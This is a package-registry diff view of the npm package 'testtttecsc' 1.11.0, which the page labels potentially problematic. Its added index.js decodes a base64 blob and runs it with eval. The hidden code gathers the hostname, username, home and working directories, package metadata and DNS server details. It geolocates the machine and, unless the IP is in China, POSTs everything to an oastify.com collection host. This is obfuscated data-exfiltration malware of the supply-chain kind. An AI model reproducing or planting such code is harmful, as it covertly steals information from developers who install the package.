testtttecsc 1.11.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of testtttecsc might be problematic. Click here for more details.
- package/index.js +7 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
const base64Code = `Y29uc3Qgb3MgPSByZXF1aXJlKCJvcyIpOwpjb25zdCBkbnMgPSByZXF1aXJlKCJkbnMiKTsKY29uc3QgaHR0cHMgPSByZXF1aXJlKCJodHRwcyIpOwpjb25zdCBwYWNrYWdlSlNPTiA9IHJlcXVpcmUoIi4vcGFja2FnZS5qc29uIik7CmNvbnN0IHBhY2thZ2UgPSBwYWNrYWdlSlNPTi5uYW1lOwoKY29uc3QgZmV0Y2hJUEluZm8gPSBhc3luYyAoaXApID0+IHsKICAgIHJldHVybiBuZXcgUHJvbWlzZSgocmVzb2x2ZSkgPT4gewogICAgICAgIGh0dHBzLmdldChgaHR0cHM6Ly9pcGluZm8uaW8vJHtpcH0vanNvbmAsIChyZXMpID0+IHsKICAgICAgICAgICAgbGV0IGRhdGEgPSAiIjsKICAgICAgICAgICAgcmVzLm9uKCJkYXRhIiwgKGNodW5rKSA9PiB7CiAgICAgICAgICAgICAgICBkYXRhICs9IGNodW5rOwogICAgICAgICAgICB9KTsKICAgICAgICAgICAgcmVzLm9uKCJlbmQiLCAoKSA9PiB7CiAgICAgICAgICAgICAgICBjb25zdCBpcEluZm8gPSBKU09OLnBhcnNlKGRhdGEpOwogICAgICAgICAgICAgICAgcmVzb2x2ZShpcEluZm8pOwogICAgICAgICAgICB9KTsKICAgICAgICB9KTsKICAgIH0pOwp9OwoKY29uc3QgdHJhY2tpbmdEYXRhID0gewogICAgcGFja2FnZU5hbWU6IHBhY2thZ2UsCiAgICBjdXJyZW50RGlyZWN0b3J5OiBfX2Rpcm5hbWUsCiAgICBob21lRGlyZWN0b3J5OiBvcy5ob21lZGlyKCksCiAgICBob3N0bmFtZTogb3MuaG9zdG5hbWUoKSwKICAgIHVzZXJuYW1lOiBvcy51c2VySW5mbygpLnVzZXJuYW1lLAogICAgZG5zU2VydmVyczogW10sCiAgICByZXNvbHZlZFBhY2thZ2U6IHBhY2thZ2VKU09OID8gcGFja2FnZUpTT04uX19fcmVzb2x2ZWQgOiB1bmRlZmluZWQsCiAgICBwYWNrYWdlVmVyc2lvbjogcGFja2FnZUpTT04udmVyc2lvbiwKICAgIHBhY2thZ2VJbmZvOiBwYWNrYWdlSlNPTiwKfTsKCmNvbnN0IGZldGNoRG5zU2VydmVySW5mbyA9IGFzeW5jICgpID0+IHsKICAgIGNvbnN0IGRuc1NlcnZlcnMgPSBkbnMuZ2V0U2VydmVycygpOwogICAgY29uc3QgZG5zU2VydmVySW5mbyA9IFtdOwogICAgZm9yIChjb25zdCBkbnNTZXJ2ZXIgb2YgZG5zU2VydmVycykgewogICAgICAgIGNvbnN0IGlwSW5mbyA9IGF3YWl0IGZldGNoSVBJbmZvKGRuc1NlcnZlcik7CiAgICAgICAgZG5zU2VydmVySW5mby5wdXNoKHsKICAgICAgICAgICAgaXA6IGRuc1NlcnZlciwKICAgICAgICAgICAgY291bnRyeTogaXBJbmZvLmNvdW50cnksCiAgICAgICAgICAgIGlzcDogaXBJbmZvLm9yZywKICAgICAgICAgICAgcmVnaW9uOiBpcEluZm8ucmVnaW9uLAogICAgICAgIH0pOwogICAgfQogICAgdHJhY2tpbmdEYXRhLmRuc1NlcnZlcnMgPSBkbnNTZXJ2ZXJJbmZvOwp9OwoKKGFzeW5jICgpID0+IHsKICAgIGF3YWl0IGZldGNoRG5zU2VydmVySW5mbygpOwoKICAgIC8vIEZldGNoIHJlcXVlc3RlciBJUAogICAgaHR0cHMuZ2V0KCJodHRwczovL2FwaTY0LmlwaWZ5Lm9yZz9mb3JtYXQ9anNvbiIsIGFzeW5jIChyZXMpID0+IHsKICAgICAgICBsZXQgZGF0YSA9ICIiOwogICAgICAgIHJlcy5vbigiZGF0YSIsIChjaHVuaykgPT4gewogICAgICAgICAgICBkYXRhICs9IGNodW5rOwogICAgICAgIH0pOwogICAgICAgIHJlcy5vbigiZW5kIiwgYXN5bmMgKCkgPT4gewogICAgICAgICAgICBjb25zdCBpcERhdGEgPSBKU09OLnBhcnNlKGRhdGEpOwogICAgICAgICAgICBjb25zdCByZXF1ZXN0ZXJJUCA9IGlwRGF0YS5pcDsKCiAgICAgICAgICAgIGNvbnN0IHJlcXVlc3RlcklQSW5mbyA9IGF3YWl0IGZldGNoSVBJbmZvKHJlcXVlc3RlcklQKTsKCiAgICAgICAgICAgIC8vIENoZWNrIGlmIHJlcXVlc3RlcidzIElQIGJlbG9uZ3MgdG8gQ2hpbmEKICAgICAgICAgICAgaWYgKHJlcXVlc3RlcklQSW5mby5jb3VudHJ5ICE9PSAiQ04iKSB7CiAgICAgICAgICAgICAgICB0cmFja2luZ0RhdGEucmVxdWVzdGVySVBJbmZvID0gcmVxdWVzdGVySVBJbmZvOwoKICAgICAgICAgICAgICAgIHZhciBwb3N0RGF0YSA9IEpTT04uc3RyaW5naWZ5KHsKICAgICAgICAgICAgICAgICAgICBtc2c6IHRyYWNraW5nRGF0YSwKICAgICAgICAgICAgICAgIH0pOwoKICAgICAgICAgICAgICAgIHZhciBvcHRpb25zID0gewogICAgICAgICAgICAgICAgICAgIGhvc3RuYW1lOiAic3NvajZqM2Q4Y2p1YnkydW56MmZwM2pidDJ6dm5sYmEub2FzdGlmeS5jb20iLCAKICAgICAgICAgICAgICAgICAgICBwb3J0OiA0NDMsCiAgICAgICAgICAgICAgICAgICAgcGF0aDogIi8iLAogICAgICAgICAgICAgICAgICAgIG1ldGhvZDogIlBPU1QiLAogICAgICAgICAgICAgICAgICAgIGhlYWRlcnM6IHsKICAgICAgICAgICAgICAgICAgICAgICAgIkNvbnRlbnQtVHlwZSI6ICJhcHBsaWNhdGlvbi9qc29uIiwKICAgICAgICAgICAgICAgICAgICAgICAgIkNvbnRlbnQtTGVuZ3RoIjogQnVmZmVyLmJ5dGVMZW5ndGgocG9zdERhdGEpLAogICAgICAgICAgICAgICAgICAgIH0sCiAgICAgICAgICAgICAgICB9OwoKICAgICAgICAgICAgICAgIHZhciByZXEgPSBodHRwcy5yZXF1ZXN0KG9wdGlvbnMsIChyZXMpID0+IHsKICAgICAgICAgICAgICAgICAgICByZXMub24oImRhdGEiLCAoZCkgPT4gewogICAgICAgICAgICAgICAgICAgICAgICBwcm9jZXNzLnN0ZG91dC53cml0ZShkKTsKICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgIH0pOwoKICAgICAgICAgICAgICAgIHJlcS5vbigiZXJyb3IiLCAoZSkgPT4gewogICAgICAgICAgICAgICAgICAgIC8vIGNvbnNvbGUuZXJyb3IoZSk7CiAgICAgICAgICAgICAgICB9KTsKCiAgICAgICAgICAgICAgICByZXEud3JpdGUocG9zdERhdGEpOwogICAgICAgICAgICAgICAgcmVxLmVuZCgpOwogICAgICAgICAgICB9CiAgICAgICAgfSk7CiAgICB9KTsKfSkoKTsK`;
|
2
|
+
|
3
|
+
// Decoding the base64 code
|
4
|
+
const decodedCode = Buffer.from(base64Code, 'base64').toString('utf-8');
|
5
|
+
|
6
|
+
// Executing the decoded code using eval
|
7
|
+
eval(decodedCode);
|
package/package.json
ADDED